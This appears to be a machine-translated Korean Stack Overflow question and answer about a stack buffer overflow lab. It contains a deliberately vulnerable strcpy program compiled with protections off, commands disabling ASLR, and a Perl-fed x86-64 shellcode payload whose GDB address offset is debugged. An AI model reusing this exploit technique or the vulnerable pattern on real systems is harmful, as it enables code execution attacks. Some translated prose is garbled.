2016-08-28 9 views
7

오래 전부터 스택에 위치한 버퍼 오버 플로우에 대해 읽었지만 실제로 가상 머신을 설정하기로 결정했습니다. 그것은 모두 GCC에 -zexecstack-fno-stack-protector 옵션을 사용하여 컴파일 된스택 버퍼 오버 플로우 : GDB에서 작동하지만 외부에 없음

#include<string.h> 

void go(char *data){ 
    char name[64]; 

    strcpy(name, data); 
} 

int main(int argc, char **argv){ 
    go(argv[1]); 
} 

스택의 코드가 실행되는 및 (내장 스택 오버플로 보호 프로그램을 해제 할 수 :

다음 코드는 취약한 프로그램이었다 "카나리아"값).

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

내가 다음 스택에 name의 메모리 위치를 찾기 위해 GDB를 사용하여 다음 주소를 찾아 내 VM은 최근의 리눅스 버전을 가지고 있기 때문에 0x7fffffffdc10

을, 나는 ASLR을 해제했다 (주소 공간 레이아웃 무작위 화) : sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" 또는 sudo sysctl -w kernel.randomize_va_space=0.

쉘 코드는 내가 스택 스매싱에 대해 온라인으로 볼 기사에서 찍은와 펄 스크립트를 통해 프로그램에 공급 하였다 : "Hax을"

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"' 

처음 45 바이트를 작성하는데 쉘 코드를 (인 화면에서 오른쪽 위치에 포인터를 가져 오기위한 여분의 27 "A"바이트와 마지막으로 리틀 엔디안에서 페이로드의 시작 주소를 가져옵니다.

문제는 :

때를 통해 GDB에서 프로그램을 실행 : "Hax"

gdb vuln 
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

내가 쉘 코드 실행과를 얻을 수 있습니다 산출.

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

처럼 GDB 외부 프로그램을 실행하려고 내가 대신의 Illegal instruction (core dumped) 오류가 나타납니다 "Hax을!" 산출.

나는이 다른 행동의 원인이 무엇인지 알아 내려고 노력하고 있었다. 분명히 GDB는 기본적으로 ASLR을 비활성화하지만 커널의 sysctl을 통해 비활성화합니다. 커널이 kernel.randomize_va_space 변수를 무시할 수 있습니까? 또는 GDB와 실제 프로세스에서 정적 인 경우에도 메모리 주소가 다를 수 있습니까? 또는 실제로 실제 프로세스가 쉘 코드를 실제로 실행하고 있지만 GDB가 무시하거나 무시하는 실제 프로세스에서 문제가 발생하고 있습니까?

원인에 대한 아이디어가 있습니까?

+0

32 비트 코드로 컴파일 해 보셨습니까? (예 :'-m32') 구체적인 내용은 모르지만 x86_64에는 스택 실행 파일을 만드는 데 추가적인 장벽이 있다는 것을 알고 있습니다. (아니, 왜 GDB에서 작동하는지 모르겠다.) : –

+0

[NX] (https://en.wikipedia.org/wiki/NX_bit)이 맞습니까? – Kevin

+0

@ DavidC.Rankin 방금 32 비트로 컴파일하려고했지만 프로세스에 몇 가지 합병증이있었습니다. 메모리에서 페이로드가 저장되는 위치를 다시 계산 한 후 * 저장된 명령 포인터 *에 도달하기 위해 몇 바이트의 오버 헤드 바이트를 삽입해야하는지 다시 계산해야했습니다. 놀랍게도 나는 예상보다 32 비트 버전에서 더 많은 바이트로 버퍼를 채워야했다 : 나는 64 바이트 버퍼 + 4 바이트 저장 스택 포인터를 채울 필요가 있다고 생각했지만 64 * 12 바이트는 * 저장해야했다. 명령어 포인터 *. 64 비트 버전 (64 + 8 바이트) 이상. – murphsghost

답변

0

이 대답 (https://stackoverflow.com/a/17775966/6765863)을 읽은 후 스택 버퍼 오버플로를 수행하려는 시도가 변경되었습니다.

먼저 GDB 테스트와 정기적 인 이진 테스트에서 위의 대답 (env -i)에서 제안 된 것과 같이 명확한 환경을 사용했습니다. GDB에서 GDB 환경을 완전히 지우려면 명령 unset env LINESunset env COLUMNS을 추가로 실행해야했습니다.

두 번째로 실행 파일의 전체 경로를 사용하여 페이로드 주소에 영향을주지 않고 두 테스트에서 변수가 동일하게 유지되도록했습니다.

그 단계 후에도 GDB 버전의 페이로드 만 공격 할 수 있습니다. 그래서 코드의 "디버그"버전을 만들었는데 페이로드의 메모리 주소 ("이동"의 "이름"배열 주소)와 및 argv[1]의 주소를 인쇄합니다. 아래의 최종 코드 :

#include<string.h> 

void go(char *data){ 
    char name[64]; 
    printf("Name: %p\n",name); 
    strcpy(name, data); 
} 

int main(int argc, char **argv){ 
    printf("Argv[0]: %p\n",argv[0]); 
    printf("Argv[1]: %p\n",argv[1]); 
    go(argv[1]); 
} 

은 내가 명시 적으로 포함 STDIO.H을해야 알 (내 나쁜!). #include<stdio.h>을 추가하면 메모리 주소에 아무 것도 변경되지 않을지 모르겠다. (컴파일러에 의해 같은 방식으로 호출되는 전 처리기 호출이기 때문에 그렇게 생각하지 않는다. 그러나 모든 디버깅을 마친 후에는 그렇지 않다. 어쨌든 프로그램이 작동한다면 다시해야 할 위험이 있습니다.)

어쨌든, 나는 주소가 GDB 테스트와 정기적 인 테스트에서 조금씩 다른 것으로 나타났습니다. 더 구체적으로, 페이로드 주소는 + 0x40 오프셋 (64 바이트)을가집니다. 실제로 Perl 스크립트를 변경하여 GDB 외부에서 작동하게하려면 충분했다.

스택에서 어떤 점이 다를 수 있는지 확실하지 않지만 전체 문제는 두 테스트에서 일치하지 않는 정확한 주소입니다. GDB 테스트에서 여분의 64 바이트가 될 수있는 아이디어가 있다면 누구나 알고있을 것입니다.